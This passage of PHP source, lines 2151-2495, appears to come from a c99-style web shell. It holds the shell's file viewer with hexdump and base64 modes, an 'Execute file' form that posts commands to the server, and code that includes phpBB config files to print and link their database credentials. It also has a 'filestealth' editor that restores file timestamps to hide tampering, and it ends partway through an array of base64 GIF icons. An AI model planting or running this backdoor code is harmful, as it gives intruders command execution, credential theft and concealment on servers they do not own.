2151       echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>";
2152       if (!$win) {
2153         echo "<tr><td><b>Owner/Group</b></td><td> ";
2154         $ow = posix_getpwuid(fileowner($d.$f));
2155         $gr = posix_getgrgid(filegroup($d.$f));
2156         echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f));
2157       }
2158       echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table>";
2159       $fi = fopen($d.$f,"rb");
2160       if ($fi) {
2161         if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));}
2162         else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);}
2163         $n = 0;
2164         $a0 = "00000000<br>";
2165         $a1 = "";
2166         $a2 = "";
2167         for ($i=0; $i<strlen($str); $i++) {
2168           $a1 .= sprintf("%02X",ord($str[$i]))." ";
2169           switch (ord($str[$i])) {
2170             case 0:  $a2 .= "<font>0</font>"; break;
2171             case 32:
2172             case 10:
2173             case 13: $a2 .= "&nbsp;"; break;
2174             default: $a2 .= htmlspecialchars($str[$i]);
2175           }
2176           $n++;
2177           if ($n == $hexdump_rows) {
2178             $n = 0;
2179             if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";}
2180             $a1 .= "<br>";
2181             $a2 .= "<br>";
2182           }
2183         }
2184         echo "<table border=1 bgcolor=#666666>".
2185              "<tr><td bgcolor=#666666>".$a0."</td>".
2186              "<td bgcolor=#000000>".$a1."</td>".
2187              "<td bgcolor=#000000>".$a2."</td>".
2188              "</tr></table><br>";
2189       }
2190       $encoded = "";
2191       if ($base64 == 1) {
2192         echo "<b>Base64 Encode</b><br>";
2193         $encoded = base64_encode(file_get_contents($d.$f));
2194       }
2195       elseif($base64 == 2) {
2196         echo "<b>Base64 Encode + Chunk</b><br>";
2197         $encoded = chunk_split(base64_encode(file_get_contents($d.$f)));
2198       }
2199       elseif($base64 == 3) {
2200         echo "<b>Base64 Encode + Chunk + Quotes</b><br>";
2201         $encoded = base64_encode(file_get_contents($d.$f));
2202         $encoded = substr(preg_replace("!.{1,76}!","'\&#92;&#48;'.\n",$encoded),0,-2);
2203       }
2204       elseif($base64 == 4) {
2205         $text = file_get_contents($d.$f);
2206         $encoded = base64_decode($text);
2207         echo "<b>Base64 Decode";
2208     if (base64_encode($encoded) != $text) {echo " (failed)";}
2209     echo "</b><br>";
2210    }
2211    if (!empty($encoded))
2212    {
2213     echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>";
2214    }
2215    echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b>
2216         <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>]&nbsp;</nobr>
2217         <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>]&nbsp;</nobr>
2218         <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>]&nbsp;</nobr>
2219         <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>]&nbsp;</nobr>
2220         <P>";
2221   }
2222   elseif ($ft == "html") {
2223    if ($white) {@ob_clean();}
2224    echo $r;
2225    if ($white) {exshexit();}
2226   }
2227   elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";}
2228   elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";}
2229   elseif ($ft == "phpsess") {
2230    echo "<pre>";
2231    $v = explode("|",$r);
2232    echo $v[0]."<br>";
2233    var_dump(unserialize($v[1]));
2234    echo "</pre>";
2235   }
2236   elseif ($ft == "exe") {
2237    $ext = explode(".",$f);
2238    $c = count($ext)-1;
2239    $ext = $ext[$c];
2240    $ext = strtolower($ext);
2241    $rft = "";
2242    foreach($exeftypes as $k=>$v)
2243    {
2244     if (in_array($ext,$v)) {$rft = $k; break;}
2245    }
2246    $cmd = str_replace("%f%",$f,$rft);
2247    echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>";
2248   }
2249   elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";}
2250   elseif ($ft == "code") {
2251     if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) {
2252       $arr = explode("\n",$r);
2253       if (count($arr == 18)) {
2254         include($d.$f);
2255         echo "<b>phpBB configuration is detected in this file!<br>";
2256         if ($dbms == "mysql4") {$dbms = "mysql";}
2257         if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";}
2258         else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by ".$sh_name.". Please, report us for fix.";}
2259         echo "Parameters for manual connect:<br>";
2260         $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd);
2261         foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";}
2262         echo "</b><hr size=\"1\" noshade>";
2263       }
2264     }
2265     echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">";
2266     if (!empty($white)) {@ob_clean();}
2267     highlight_file($d.$f);
2268     if (!empty($white)) {exshexit();}
2269     echo "</div>";
2270   }
2271   elseif ($ft == "download") {
2272     @ob_clean();
2273     header("Content-type: application/octet-stream");
2274     header("Content-length: ".filesize($d.$f));
2275     header("Content-disposition: attachment; filename=\"".$f."\";");
2276     echo $r;
2277     exit;
2278   }
2279   elseif ($ft == "notepad") {
2280     @ob_clean();
2281     header("Content-type: text/plain");
2282     header("Content-disposition: attachment; filename=\"".$f.".txt\";");
2283     echo($r);
2284     exit;
2285   }
2286   elseif ($ft == "img") {
2287     $inf = getimagesize($d.$f);
2288     if (!$white) {
2289       if (empty($imgsize)) {$imgsize = 20;}
2290       $width = $inf[0]/100*$imgsize;
2291       $height = $inf[1]/100*$imgsize;
2292       echo "<center><b>Size:</b>&nbsp;";
2293       $sizes = array("100","50","20");
2294       foreach ($sizes as $v) {
2295         echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">";
2296         if ($imgsize != $v ) {echo $v;}
2297         else {echo "<u>".$v."</u>";}
2298         echo "</a>&nbsp;&nbsp;&nbsp;";
2299       }
2300       echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>";
2301     }
2302     else {
2303       @ob_clean();
2304       $ext = explode($f,".");
2305       $ext = $ext[count($ext)-1];
2306       header("Content-type: ".$inf["mime"]);
2307       readfile($d.$f);
2308       exit;
2309     }
2310   }
2311   elseif ($ft == "edit") {
2312    if (!empty($submit))
2313    {
2314     if ($filestealth) {$stat = stat($d.$f);}
2315     $fp = fopen($d.$f,"w");
2316     if (!$fp) {echo "<b>Can't write to file!</b>";}
2317     else
2318     {
2319      echo "<b>Saved!</b>";
2320      fwrite($fp,$edit_text);
2321      fclose($fp);
2322      if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
2323      $r = $edit_text;
2324     }
2325    }
2326    $rows = count(explode("\r\n",$r));
2327    if ($rows < 10) {$rows = 10;}
2328    if ($rows > 30) {$rows = 30;}
2329    echo "<form action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>";
2330   }
2331   elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";}
2332   else {echo "<center><b>Unknown file type (".$ext."), please select type manually.</b></center>";}
2333 }
2334 echo "</div>\n";
2335 }
2336 }
2337 else {
2338 @ob_clean();
2339 $images = array(
2340 "arrow_ltr"=>
2341 "R0lGODlhJgAWAIABAP///wAAACH5BAHoAwEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ".
2342 "SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==",
2343 "back"=>
2344 "R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
2345 "aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt".
2346 "Wg0JADs=",
2347 "buffer"=>
2348 "R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo".
2349 "eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD".
2350 "Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==",
2351 "change"=>
2352 "R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+".
2353 "/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA".
2354 "AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC".
2355 "wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA".
2356 "CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL".
2357 "zMshADs=",
2358 "delete"=>
2359 "R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp".
2360 "6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw".
2361 "sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv".
2362 "vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl".
2363 "ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA".
2364 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2365 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5".
2366 "BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4".
2367 "STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G".
2368 "BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ".
2369 "jwVFHBgiEGQFIgQasYkcSbJQIAA7",
2370 "download"=>
2371 "R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA".
2372 "AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu".
2373 "EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=",
2374 "forward"=>
2375 "R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
2376 "aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt".
2377 "WqsJADs=",
2378 "home"=>
2379 "R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA".
2380 "AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS".
2381 "krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j".
2382 "VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=",
2383 "mode"=>
2384 "R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA".
2385 "AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO".
2386 "2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/".
2387 "dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=",
2388 "search"=>
2389 "R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//".
2390 "/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap".
2391 "s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD".
2392 "AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr".
2393 "Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==",
2394 "setup"=>
2395 "R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC".
2396 "QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
2397 "ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB".
2398 "qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE".
2399 "OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==",
2400 "small_dir"=>
2401 "R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA".
2402 "AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp".
2403 "/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=",
2404 "small_unk"=>
2405 "R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U".
2406 "p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo".
2407 "/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31".
2408 "/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4".
2409 "/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP".
2410 "wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz".
2411 "9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ".
2412 "66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io".
2413 "24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2414 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2415 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2416 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2417 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2418 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2419 "AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz".
2420 "aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM".
2421 "uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC".
2422 "yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj".
2423 "yAsokBkQADs=",
2424 "multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR".
2425 "pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==",
2426 "sort_asc"=>
2427 "R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa".
2428 "SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==",
2429 "sort_desc"=>
2430 "R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb".
2431 "SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=",
2432 "sql_button_drop"=>
2433 "R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
2434 "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2435 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
2436 "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
2437 "MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
2438 "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
2439 "mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
2440 "zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
2441 "/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
2442 "AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
2443 "M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
2444 "ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
2445 "mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
2446 "zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA".
2447 "AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/".
2448 "AQEAOw==",
2449 "sql_button_empty"=>
2450 "R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
2451 "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2452 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
2453 "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
2454 "MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
2455 "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
2456 "mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
2457 "zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
2458 "/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
2459 "AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
2460 "M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
2461 "ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
2462 "mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
2463 "zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA".
2464 "AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==",
2465 "sql_button_insert"=>
2466 "R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
2467 "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2468 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
2469 "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
2470 "MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
2471 "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
2472 "mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
2473 "zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
2474 "/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
2475 "AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
2476 "M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
2477 "ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
2478 "mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
2479 "zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA".
2480 "AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=",
2481 "up"=>
2482 "R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA".
2483 "AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg".
2484 "+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV".
2485 "IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==",
2486 "write"=>
2487 "R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA".
2488 "AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze".
2489 "EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61".
2490 "LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==",
2491 "ext_asp"=>
2492 "R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/".
2493 "/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI".
2494 "D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=",
2495 "ext_mp3"=>
